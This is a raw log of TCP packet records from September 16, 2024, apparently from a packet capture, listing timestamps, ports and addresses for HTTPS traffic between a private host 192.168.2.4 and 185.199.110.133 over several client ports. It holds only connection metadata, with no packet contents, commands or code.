Sep 16, 2024 19:33:01.242491007 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.242523909 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.242549896 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.248380899 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.248398066 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.248445988 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.248460054 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.248485088 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.249629021 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.249646902 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.249691963 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.249710083 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.249733925 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.259690046 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.259716034 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.259793043 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.259793043 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.259804010 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.262865067 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.262882948 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.262918949 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.262927055 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.262963057 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.263084888 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.263107061 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.263144970 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.263153076 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.263207912 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.266638041 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.266678095 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.266767979 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.266767979 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.266774893 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.267337084 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.267364025 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.267401934 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.267407894 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.267424107 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.294356108 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.294397116 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.294452906 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.294459105 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.294477940 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.294512987 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.295216084 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.295254946 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.295311928 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.295311928 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.295317888 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.295363903 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.295785904 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.295806885 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.295857906 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.295878887 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.295968056 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.296058893 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.296485901 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.296559095 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.296606064 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.296638012 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.296669960 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.296694040 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.296730995 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.296744108 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.296761036 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.296773911 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.296818972 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.296818972 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.297655106 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.297691107 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.297735929 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.297741890 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.297759056 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.297789097 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.297916889 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.297936916 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.297986984 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.297993898 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.298007965 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.298136950 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.298166037 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.298216105 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.298216105 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.298223972 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.299098969 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.299105883 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.299125910 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.299139977 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.299180031 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.299180031 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.299190044 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.299204111 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.299216986 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.299216986 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.299312115 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.300363064 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.300412893 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.300431013 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.300436020 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.300476074 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.300654888 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.305398941 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.305422068 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.305460930 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.305476904 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.305505991 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.316118002 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.316164017 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.316207886 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.316214085 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.316243887 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.316243887 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.329142094 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.329154968 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.329224110 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.329240084 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.329286098 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.329339027 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.329355001 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.329392910 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.329411983 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.329435110 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.329830885 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.329843998 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.329891920 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.329910040 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.329933882 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.331039906 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.331058025 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.331095934 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.331110954 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.331139088 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.333400011 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.333412886 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.333462954 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.333482027 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.333503962 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.339308023 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.339324951 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.339394093 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.339411020 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.339441061 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.340589046 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.340609074 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.340672970 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.340672970 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.340688944 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.346607924 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.346636057 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.346679926 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.346689939 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.346748114 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.349745989 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.349762917 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.349812031 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.349817991 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.349829912 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.350044966 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.350066900 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.350117922 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.350117922 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.350126028 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.353441954 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.353463888 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.353498936 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.353507042 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.353598118 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.354191065 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.354218960 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.354274988 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.354274988 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.354285002 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.381092072 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.381146908 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.381181002 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.381196022 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.381211996 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.381241083 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.382029057 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.382072926 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.382103920 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.382110119 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.382129908 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.382144928 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.383421898 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.383470058 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.383507013 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.383512974 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.383543015 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.383543015 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.383687973 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.383729935 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.383750916 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.383755922 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.383785009 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.383800030 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.384469986 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.384512901 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.384531975 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.384537935 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.384579897 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.384685993 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.385143042 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.385163069 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.385206938 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.385215044 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.385251999 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.385257006 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.385283947 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.385301113 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.385317087 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.385327101 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.385919094 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.385936022 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.386003017 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.386003017 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.386013031 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.386019945 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.386079073 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.386094093 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.386121988 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.386157036 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.386157036 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.387327909 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.387370110 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.387403965 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.387411118 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.387440920 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.387440920 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.397080898 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.397105932 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.397141933 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.397169113 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.397193909 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.402909994 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.402956009 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.402992010 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.402998924 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.403032064 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.403096914 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.422404051 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.422440052 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.422466040 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.422481060 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.422508001 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.422715902 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.422755003 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.422768116 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.422781944 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.422806978 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.422885895 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.422900915 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.422950029 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.422962904 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.422987938 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.423082113 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.423098087 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.423130035 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.423147917 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.423171997 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.425767899 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.425780058 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.425843000 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.425843000 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.425858021 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.430299997 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.430315971 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.430421114 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.430421114 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.430438042 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.431377888 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.431394100 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.431436062 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.431449890 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.431478024 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.433509111 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.433581114 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.462467909 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.462522030 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.462563038 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.462600946 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.462671995 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.462768078 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.468138933 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.468163013 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.468241930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.468241930 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.468252897 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.468607903 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.468765974 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.468784094 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.468842030 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.468849897 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.468873024 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.468898058 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.470282078 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.470300913 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.470401049 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.470407963 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.470454931 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.470536947 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.470556974 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.470597029 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.470603943 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.470635891 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.470635891 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.471259117 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.471278906 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.471345901 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.471345901 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.471353054 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.472529888 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.472779036 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.472798109 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.472856045 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.472861052 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.472882032 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.474097013 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.474121094 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.474159002 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.474164009 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.474184036 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.474217892 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.488193035 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.488224983 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.488266945 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.488282919 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.488373041 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.489979029 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.489998102 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.490036011 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:01.490042925 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:01.490080118 CEST	49765	443	192.168.2.4	185.199.110.133
